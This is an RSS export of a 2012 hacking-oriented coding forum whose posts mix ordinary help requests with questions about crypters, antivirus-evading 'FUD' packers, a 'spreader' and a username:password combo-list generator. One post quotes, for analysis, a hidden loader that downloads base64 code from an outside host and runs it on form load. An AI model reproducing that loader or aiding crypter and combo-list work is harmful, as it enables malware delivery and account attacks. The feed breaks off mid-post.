<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[LeetCoders - All Forums]]></title>
		<link>http://leetcoders.org/</link>
		<description><![CDATA[LeetCoders - http://leetcoders.org]]></description>
		<pubDate>Sat, 19 May 2012 02:03:39 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Listbox Help]]></title>
			<link>http://leetcoders.org/Thread-listbox-help</link>
			<pubDate>Fri, 18 May 2012 16:32:11 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-listbox-help</guid>
			<description><![CDATA[Irony aside, I have not coded any programs for ages. I dusted off VB because I have a particular project I want to make, which I need some assistance with. I'm afraid I'm very rusty.I want to make a word list generator. In the long run, I want it to be the most feature rich one. <br />
<br />
Right now, I have 3 list boxes. In the first and second, you can load a txt document of various words. The end goal is to combine those, in a way. For every single username in the first listbox, it needs to add all the words in the password box to it. For example: there are 3 words in the username box; "admin" "admin2" "admin3" and there are 2 words in the password field; "password1" and "password2".<br />
<br />
The output of the above example would be a list: <br />
admin:password <br />
admin:password2<br />
admin2:password<br />
admin2:password2<br />
admin3:password<br />
admin3:password2<br />
<br />
so basically it attaches every word in the password box to every word in the username box, to create a huge list. <br />
<br />
Does anyone know how to accomplish this? If so, I would greatly appreciate assistance, suggestions, and example code. Thank you for your time.<br />
<br />
<br />
<img src="http://i.imgur.com/Tk1pk.png" border="0" alt="[Image: Tk1pk.png]" />]]></description>
			<content:encoded><![CDATA[Irony aside, I have not coded any programs for ages. I dusted off VB because I have a particular project I want to make, which I need some assistance with. I'm afraid I'm very rusty.I want to make a word list generator. In the long run, I want it to be the most feature rich one. <br />
<br />
Right now, I have 3 list boxes. In the first and second, you can load a txt document of various words. The end goal is to combine those, in a way. For every single username in the first listbox, it needs to add all the words in the password box to it. For example: there are 3 words in the username box; "admin" "admin2" "admin3" and there are 2 words in the password field; "password1" and "password2".<br />
<br />
The output of the above example would be a list: <br />
admin:password <br />
admin:password2<br />
admin2:password<br />
admin2:password2<br />
admin3:password<br />
admin3:password2<br />
<br />
so basically it attaches every word in the password box to every word in the username box, to create a huge list. <br />
<br />
Does anyone know how to accomplish this? If so, I would greatly appreciate assistance, suggestions, and example code. Thank you for your time.<br />
<br />
<br />
<img src="http://i.imgur.com/Tk1pk.png" border="0" alt="[Image: Tk1pk.png]" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[hwid request on form load ]]></title>
			<link>http://leetcoders.org/Thread-hwid-request-on-form-load</link>
			<pubDate>Thu, 17 May 2012 10:08:29 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-hwid-request-on-form-load</guid>
			<description><![CDATA[<blockquote><cite>Quote:</cite>string cpuInfo = "";<br />
string hwid;<br />
ManagementClass mc = new ManagementClass("win32_processor"); //new management class<br />
ManagementObjectCollection moc = mc.GetInstances(); //get instaces<br />
foreach (ManagementObject mo in moc) //for each statement<br />
{<br />
if (cpuInfo == "") //if cpuInf is null<br />
{<br />
cpuInfo = mo.Properties["processorID"].Value.ToString(); //replace it with HWID<br />
break;<br />
}<br />
}<br />
textBox1.Text = cpuInfo; //textbox1's text is now cpuInfo, which is the HWID<br />
}</blockquote>
<br />
so if i load the form<br />
how can i check it ?<br />
<br />
please help me<br />
<br />
i think<br />
<br />
with websession<br />
if else]]></description>
			<content:encoded><![CDATA[<blockquote><cite>Quote:</cite>string cpuInfo = "";<br />
string hwid;<br />
ManagementClass mc = new ManagementClass("win32_processor"); //new management class<br />
ManagementObjectCollection moc = mc.GetInstances(); //get instaces<br />
foreach (ManagementObject mo in moc) //for each statement<br />
{<br />
if (cpuInfo == "") //if cpuInf is null<br />
{<br />
cpuInfo = mo.Properties["processorID"].Value.ToString(); //replace it with HWID<br />
break;<br />
}<br />
}<br />
textBox1.Text = cpuInfo; //textbox1's text is now cpuInfo, which is the HWID<br />
}</blockquote>
<br />
so if i load the form<br />
how can i check it ?<br />
<br />
please help me<br />
<br />
i think<br />
<br />
with websession<br />
if else]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[GRUB Error 22 !]]></title>
			<link>http://leetcoders.org/Thread-grub-error-22</link>
			<pubDate>Wed, 16 May 2012 19:21:31 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-grub-error-22</guid>
			<description><![CDATA[Well, i was deleting a partition with backtrack on it ( yea, i know, installing backtrack ain't a good idea ),<br />
so, i was deleting it from windows, and after i restarted my laptop to see if it still shows the boot option between OS'es, i had a big surprise!<br />
<br />
GRUB loading, please wait...<br />
Error 22<br />
<br />
<br />
And that's all.<br />
I tried some linux grub fixer, but no luck for me.<br />
So i tried to use the repair option from windows Xp CD, but, another surprise, blue screen of death before i can even choose R for repair.<br />
<br />
Any idea beside deleting everything ?]]></description>
			<content:encoded><![CDATA[Well, i was deleting a partition with backtrack on it ( yea, i know, installing backtrack ain't a good idea ),<br />
so, i was deleting it from windows, and after i restarted my laptop to see if it still shows the boot option between OS'es, i had a big surprise!<br />
<br />
GRUB loading, please wait...<br />
Error 22<br />
<br />
<br />
And that's all.<br />
I tried some linux grub fixer, but no luck for me.<br />
So i tried to use the repair option from windows Xp CD, but, another surprise, blue screen of death before i can even choose R for repair.<br />
<br />
Any idea beside deleting everything ?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[help] Application.*]]></title>
			<link>http://leetcoders.org/Thread-help-application</link>
			<pubDate>Wed, 16 May 2012 18:55:25 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-help-application</guid>
			<description><![CDATA[Hello , I am new and I need some help .<br />
I am a beginner , beginned CodeDom <br />
When I start my app , i got : "Application" is not declared<br />
I use many times something like application.executablepath <br />
Could someone help me ? I will release my project when i finish it , it's a spreader <img src="images/smilies/new/MsgPlus_Img0627.png" style="vertical-align: middle;" border="0" alt="CHEESE" title="CHEESE" />]]></description>
			<content:encoded><![CDATA[Hello , I am new and I need some help .<br />
I am a beginner , beginned CodeDom <br />
When I start my app , i got : "Application" is not declared<br />
I use many times something like application.executablepath <br />
Could someone help me ? I will release my project when i finish it , it's a spreader <img src="images/smilies/new/MsgPlus_Img0627.png" style="vertical-align: middle;" border="0" alt="CHEESE" title="CHEESE" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Motivation cover for FACEBOOK]]></title>
			<link>http://leetcoders.org/Thread-motivation-cover-for-facebook</link>
			<pubDate>Tue, 15 May 2012 21:23:19 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-motivation-cover-for-facebook</guid>
			<description><![CDATA[This is my first facebook cover, and i am all into motivation quotes and such <br />
Hope you like it <br />
<br />
This is how it looks like at FB <br />
<br />
<img src="http://i49.tinypic.com/rjku4w.png" border="0" alt="[Image: rjku4w.png]" /><br />
<br />
<br />
And you can download it easily from here  <a href="https://www.facebook.com/photo.php?fbid=354620164591165&amp;set=a.284418944944621.72086.281675991885583&amp;type=3&amp;theater" target="_blank">https://www.facebook.com/photo.php?fbid=...=3&theater</a>]]></description>
			<content:encoded><![CDATA[This is my first facebook cover, and i am all into motivation quotes and such <br />
Hope you like it <br />
<br />
This is how it looks like at FB <br />
<br />
<img src="http://i49.tinypic.com/rjku4w.png" border="0" alt="[Image: rjku4w.png]" /><br />
<br />
<br />
And you can download it easily from here  <a href="https://www.facebook.com/photo.php?fbid=354620164591165&amp;set=a.284418944944621.72086.281675991885583&amp;type=3&amp;theater" target="_blank">https://www.facebook.com/photo.php?fbid=...=3&theater</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Help with INI save and read]]></title>
			<link>http://leetcoders.org/Thread-help-with-ini-save-and-read</link>
			<pubDate>Tue, 15 May 2012 20:48:45 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-help-with-ini-save-and-read</guid>
			<description><![CDATA[So I basically want to let users put some settings when they run the program first time and after that it will load the settings which they put.<br />
<br />
The project will load 'settings' form if they didn't fill the settings form before and if they do, then it will skip to form1.<br />
<br />
on form1, I want to read the settings like ;<br />
label1.text = value from ini<br />
me.text = "Welcome" &amp; value from ini<br />
<br />
that's pretty easy I think but I couldn't find a working ini class for that so if someone can help me , that would be great.]]></description>
			<content:encoded><![CDATA[So I basically want to let users put some settings when they run the program first time and after that it will load the settings which they put.<br />
<br />
The project will load 'settings' form if they didn't fill the settings form before and if they do, then it will skip to form1.<br />
<br />
on form1, I want to read the settings like ;<br />
label1.text = value from ini<br />
me.text = "Welcome" &amp; value from ini<br />
<br />
that's pretty easy I think but I couldn't find a working ini class for that so if someone can help me , that would be great.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[Photoshop CS6] Make a 3D layer (formerly repoussé)]]></title>
			<link>http://leetcoders.org/Thread-photoshop-cs6-make-a-3d-layer-formerly-repouss%C3%A9</link>
			<pubDate>Tue, 15 May 2012 17:40:48 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-photoshop-cs6-make-a-3d-layer-formerly-repouss%C3%A9</guid>
			<description><![CDATA[Hello, today I'll be teaching you how to make a repoussé layer in photoshop, since they changed it in CS6. <br />
In the old version, CS5.*, you'd go to 3D &gt; Repoussé &gt; Text Layer. \<br />
<img src="http://i.imgur.com/jAIkO.png" border="0" alt="[Image: jAIkO.png]" /><br />
In CS6 however, this progress has been made a lot easier. <br />
You just press the 3D button on the toolbar, and it automatically converts your normal 2D layer to a 3D layer. <br />
<img src="http://i.imgur.com/SSStd.png" border="0" alt="[Image: SSStd.png]" /><br />
It'll also prompt you to change to the 3D workspace if you're working in a different workspace:<br />
<img src="http://i.imgur.com/RsLwz.png" border="0" alt="[Image: RsLwz.png]" /><br />
<br />
There you have it! Your 3D layer is made an you can edit it to your liking :)]]></description>
			<content:encoded><![CDATA[Hello, today I'll be teaching you how to make a repoussé layer in photoshop, since they changed it in CS6. <br />
In the old version, CS5.*, you'd go to 3D &gt; Repoussé &gt; Text Layer. \<br />
<img src="http://i.imgur.com/jAIkO.png" border="0" alt="[Image: jAIkO.png]" /><br />
In CS6 however, this progress has been made a lot easier. <br />
You just press the 3D button on the toolbar, and it automatically converts your normal 2D layer to a 3D layer. <br />
<img src="http://i.imgur.com/SSStd.png" border="0" alt="[Image: SSStd.png]" /><br />
It'll also prompt you to change to the 3D workspace if you're working in a different workspace:<br />
<img src="http://i.imgur.com/RsLwz.png" border="0" alt="[Image: RsLwz.png]" /><br />
<br />
There you have it! Your 3D layer is made an you can edit it to your liking :)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[New good hosting!]]></title>
			<link>http://leetcoders.org/Thread-new-good-hosting</link>
			<pubDate>Sat, 12 May 2012 22:57:31 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-new-good-hosting</guid>
			<description><![CDATA[Does not reach post requirement.<br />
- Dwarf.]]></description>
			<content:encoded><![CDATA[Does not reach post requirement.<br />
- Dwarf.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[need help with compiler options]]></title>
			<link>http://leetcoders.org/Thread-need-help-with-compiler-options</link>
			<pubDate>Sat, 12 May 2012 20:16:38 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-need-help-with-compiler-options</guid>
			<description><![CDATA[hi guys<br />
i need your help<br />
<br />
i have already coded a small crypter for .NET files ---&gt; codedom<br />
<br />
now i want to know how to change the assembly informations of the output (encrypted) file<br />
<br />
i think there must be some options<br />
<br />
<blockquote><cite>Quote:</cite> System.CodeDom.Compiler.CompilerParameters p = new System.CodeDom.Compiler.CompilerParameters();<br />
<br />
            p.GenerateExecutable = true;<br />
            p.OutputAssembly = d.FileName;<br />
            p.GenerateInMemory = true;<br />
<br />
            p.ReferencedAssemblies.Add("System.dll");<br />
            p.ReferencedAssemblies.Add("System.Windows.Forms.dll");<br />
            p.ReferencedAssemblies.Add("mscorlib.dll");<br />
            p.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");<br />
<br />
            p.EmbeddedResources.Add("res.resources");<br />
<br />
<br />
            p.CompilerOptions = @"/t:winexe /win32icon:" + txtLink2.Text;</blockquote>
<br />
who can help me ?]]></description>
			<content:encoded><![CDATA[hi guys<br />
i need your help<br />
<br />
i have already coded a small crypter for .NET files ---&gt; codedom<br />
<br />
now i want to know how to change the assembly informations of the output (encrypted) file<br />
<br />
i think there must be some options<br />
<br />
<blockquote><cite>Quote:</cite> System.CodeDom.Compiler.CompilerParameters p = new System.CodeDom.Compiler.CompilerParameters();<br />
<br />
            p.GenerateExecutable = true;<br />
            p.OutputAssembly = d.FileName;<br />
            p.GenerateInMemory = true;<br />
<br />
            p.ReferencedAssemblies.Add("System.dll");<br />
            p.ReferencedAssemblies.Add("System.Windows.Forms.dll");<br />
            p.ReferencedAssemblies.Add("mscorlib.dll");<br />
            p.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");<br />
<br />
            p.EmbeddedResources.Add("res.resources");<br />
<br />
<br />
            p.CompilerOptions = @"/t:winexe /win32icon:" + txtLink2.Text;</blockquote>
<br />
who can help me ?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hello LeetCoders]]></title>
			<link>http://leetcoders.org/Thread-hello-leetcoders--1916</link>
			<pubDate>Fri, 11 May 2012 08:26:07 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-hello-leetcoders--1916</guid>
			<description><![CDATA[I've been programming for a while, joined to see what there was to offer here, we'll see as time progresses. Just passing through :) I run my own forum as well, so that takes precedence.  <br />
<br />
I have to post my official introduction though so here we go. Hope to see some of you guys around.<br />
<br />
~Ace]]></description>
			<content:encoded><![CDATA[I've been programming for a while, joined to see what there was to offer here, we'll see as time progresses. Just passing through :) I run my own forum as well, so that takes precedence.  <br />
<br />
I have to post my official introduction though so here we go. Hope to see some of you guys around.<br />
<br />
~Ace]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[My Awesome Wallpapers]]></title>
			<link>http://leetcoders.org/Thread-my-awesome-wallpapers</link>
			<pubDate>Thu, 10 May 2012 20:43:10 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-my-awesome-wallpapers</guid>
			<description><![CDATA[Since this is the shitbox, and I can post any content I want (while not breaking the rules ofc) I decided to share my wallpapers with you ...<br />
Since you all know, Windows 7 has the slideshow option for a background ... and it's pretty good :)<br />
So, this total of 120 pictures represents my wallpaper :)<br />
Since my resolution is 1440x900, almost all of the pictures are with that resolution.<br />
In the archive, there are wallpapers from nature, games, fantasy, everything :)<br />
(Games included: Warcraft III, Darksiders, The Darkness 2, Devil May Cry, Crysis etc.)<br />
Hope you like it.<br />
<br />
Download:<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>http://www.mediafire.com/?u44cos3zey50xl9</code></div></div>
]]></description>
			<content:encoded><![CDATA[Since this is the shitbox, and I can post any content I want (while not breaking the rules ofc) I decided to share my wallpapers with you ...<br />
Since you all know, Windows 7 has the slideshow option for a background ... and it's pretty good :)<br />
So, this total of 120 pictures represents my wallpaper :)<br />
Since my resolution is 1440x900, almost all of the pictures are with that resolution.<br />
In the archive, there are wallpapers from nature, games, fantasy, everything :)<br />
(Games included: Warcraft III, Darksiders, The Darkness 2, Devil May Cry, Crysis etc.)<br />
Hope you like it.<br />
<br />
Download:<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>http://www.mediafire.com/?u44cos3zey50xl9</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[How do i make a crypter?]]></title>
			<link>http://leetcoders.org/Thread-how-do-i-make-a-crypter</link>
			<pubDate>Wed, 09 May 2012 19:55:12 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-how-do-i-make-a-crypter</guid>
			<description><![CDATA[Anyone how a good TUT were i can figure out how to make a crypter? its the last thing i need for the program i'm making.]]></description>
			<content:encoded><![CDATA[Anyone how a good TUT were i can figure out how to make a crypter? its the last thing i need for the program i'm making.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[?] Make cryptor FUD]]></title>
			<link>http://leetcoders.org/Thread-make-cryptor-fud</link>
			<pubDate>Wed, 09 May 2012 19:25:46 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-make-cryptor-fud</guid>
			<description><![CDATA[Hello.<br />
Can you say, how we can make FUD cryptor? We need to add trash code? Or how?  <br />
<br />
p.s. Sorry for my bad English]]></description>
			<content:encoded><![CDATA[Hello.<br />
Can you say, how we can make FUD cryptor? We need to add trash code? Or how?  <br />
<br />
p.s. Sorry for my bad English]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hey guys, Verilog here]]></title>
			<link>http://leetcoders.org/Thread-hey-guys-verilog-here</link>
			<pubDate>Wed, 09 May 2012 07:29:05 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-hey-guys-verilog-here</guid>
			<description><![CDATA[This is verilog from skidforums.net and Dream from desihacker.net<br />
Referre CaptainBri <img src="images/gaming-jam/smilies/sLo_heart.gif" style="vertical-align: middle;" border="0" alt="Heart" title="Heart" /><br />
I hope you like me as a member :)]]></description>
			<content:encoded><![CDATA[This is verilog from skidforums.net and Dream from desihacker.net<br />
Referre CaptainBri <img src="images/gaming-jam/smilies/sLo_heart.gif" style="vertical-align: middle;" border="0" alt="Heart" title="Heart" /><br />
I hope you like me as a member :)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Visual Studio Facelift]]></title>
			<link>http://leetcoders.org/Thread-visual-studio-facelift</link>
			<pubDate>Wed, 09 May 2012 03:12:22 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-visual-studio-facelift</guid>
			<description><![CDATA[Just thought a lot of you might find this interesting.  I know I sure as hell hated the UI for the beta of Visual Studio 2011.  They appear to be moving more onto a Metro app feel and I definitely like it a lot better.<br />
Before:<br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><img src="http://blogs.msdn.com/cfs-filesystemfile.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-29-92/1854.Visual-Studio-11-Beta-Full.png" border="0" alt="[Image: 1854.Visual-Studio-11-Beta-Full.png]" /></div></div>After:<br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><img src="http://blogs.msdn.com/cfs-filesystemfile.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-29-92/7367.Visual-Studio-11-RC-Full.png" border="0" alt="[Image: 7367.Visual-Studio-11-RC-Full.png]" /></div></div>
News From: <a href="http://blogs.msdn.com/b/visualstudio/archive/2012/05/08/visual-studio-11-user-interface-updates-coming-in-rc.aspx" target="_blank">HERE</a>]]></description>
			<content:encoded><![CDATA[Just thought a lot of you might find this interesting.  I know I sure as hell hated the UI for the beta of Visual Studio 2011.  They appear to be moving more onto a Metro app feel and I definitely like it a lot better.<br />
Before:<br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><img src="http://blogs.msdn.com/cfs-filesystemfile.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-29-92/1854.Visual-Studio-11-Beta-Full.png" border="0" alt="[Image: 1854.Visual-Studio-11-Beta-Full.png]" /></div></div>After:<br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><img src="http://blogs.msdn.com/cfs-filesystemfile.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-29-92/7367.Visual-Studio-11-RC-Full.png" border="0" alt="[Image: 7367.Visual-Studio-11-RC-Full.png]" /></div></div>
News From: <a href="http://blogs.msdn.com/b/visualstudio/archive/2012/05/08/visual-studio-11-user-interface-updates-coming-in-rc.aspx" target="_blank">HERE</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[What Would You All Think If...]]></title>
			<link>http://leetcoders.org/Thread-what-would-you-all-think-if</link>
			<pubDate>Wed, 09 May 2012 02:50:13 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-what-would-you-all-think-if</guid>
			<description><![CDATA[So lately, I have been really pushing to make a lot of videos for my YouTube.  A few days ago, my girlfriend decided that she wanted to try and play Killing Floor.  She had never played any computer game before, much less any FPS/survival game.  I decided that if she wanted to play, she would have to wear my mic and I would record her playing.  She went along with it.  Here we are a few days later and I have about 3-4 hours of her playing Killing Floor and Amnesia: The Dark Descent.<br />
Would you all like to watch these videos?  She is fine with me uploading them, in fact we decided that we want to do a series sometime together, but we wanted some feedback about it first.  So what is your take?  I am currently rendering the first 40 minute episode of Amnesia to upload and once it is uploaded, I will be adding a link here for you to watch.]]></description>
			<content:encoded><![CDATA[So lately, I have been really pushing to make a lot of videos for my YouTube.  A few days ago, my girlfriend decided that she wanted to try and play Killing Floor.  She had never played any computer game before, much less any FPS/survival game.  I decided that if she wanted to play, she would have to wear my mic and I would record her playing.  She went along with it.  Here we are a few days later and I have about 3-4 hours of her playing Killing Floor and Amnesia: The Dark Descent.<br />
Would you all like to watch these videos?  She is fine with me uploading them, in fact we decided that we want to do a series sometime together, but we wanted some feedback about it first.  So what is your take?  I am currently rendering the first 40 minute episode of Amnesia to upload and once it is uploaded, I will be adding a link here for you to watch.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Detecting backdoor... need a lil help]]></title>
			<link>http://leetcoders.org/Thread-detecting-backdoor-need-a-lil-help</link>
			<pubDate>Tue, 08 May 2012 21:33:52 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-detecting-backdoor-need-a-lil-help</guid>
			<description><![CDATA[hello guyz,<br />
<br />
i need a lil help here.<br />
<br />
As i was catching a skid in HF, with a rep of 500+, I checked I of his file, he was giving away as free.<br />
<br />
look at the code and you'll know who im talking about :P<br />
check this out:<br />
<br />
its his code:<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>private void Form1_Load(object sender, EventArgs e)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;try<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string s = new WebClient().DownloadString("http://www.irtehleet.bacon.ms/site/B64.txt");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.Run(Convert.FromBase64String(s));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.Close();<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;catch (Exception exception1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProjectData.SetProjectError(exception1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.Hide();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show("Error checking file version from my site.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.Close();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProjectData.ClearProjectError();<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}</code></div></div>
<br />
<br />
Now, first of all i do not think that this is a code to "update" his file. what do you guys think about this?<br />
<br />
Anyways, my real problem is, after decrypting it, when i have it as bytes, how can convert it into exe so that i can check in sandboxie/ reflector.]]></description>
			<content:encoded><![CDATA[hello guyz,<br />
<br />
i need a lil help here.<br />
<br />
As i was catching a skid in HF, with a rep of 500+, I checked I of his file, he was giving away as free.<br />
<br />
look at the code and you'll know who im talking about :P<br />
check this out:<br />
<br />
its his code:<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>private void Form1_Load(object sender, EventArgs e)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;try<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string s = new WebClient().DownloadString("http://www.irtehleet.bacon.ms/site/B64.txt");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.Run(Convert.FromBase64String(s));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.Close();<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;catch (Exception exception1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProjectData.SetProjectError(exception1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.Hide();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show("Error checking file version from my site.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.Close();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProjectData.ClearProjectError();<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}</code></div></div>
<br />
<br />
Now, first of all i do not think that this is a code to "update" his file. what do you guys think about this?<br />
<br />
Anyways, my real problem is, after decrypting it, when i have it as bytes, how can convert it into exe so that i can check in sandboxie/ reflector.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[C++ RELEASE] New word helper.]]></title>
			<link>http://leetcoders.org/Thread-c-release-new-word-helper</link>
			<pubDate>Tue, 08 May 2012 19:21:25 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-c-release-new-word-helper</guid>
			<description><![CDATA[Hey guys.<br />
It's been a while since I posted any project or anything, so I'm going to post my latest project (it was a task in the programming class today). I've recoded it since the lesson (took about 10-20 mins)<br />
<br />
What is it?<br />
It's a simple app that you can use to learn new words in foreign languanges. The system is very simple. Lets pretend i want to learn swedish words that i picked. i got the following words. (I know, worst project name ever)<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>English | swedish<br />
----------------<br />
Cat&nbsp;&nbsp;&nbsp;&nbsp; | Katt<br />
Car&nbsp;&nbsp;&nbsp;&nbsp; | Bil<br />
word1&nbsp;&nbsp; | word1</code></div></div>
Then the application will ask me about the words, and i'll input them. And later on i can take a quiz, save wordlist to file and load it. That basicly means that you can share your wordlist with classmates etc.<br />
<br />
<span style="text-decoration: underline;"><span style="font-weight: bold;">Source code</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<span style="font-weight: bold;">main.cpp</span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>C++ Programming</a>
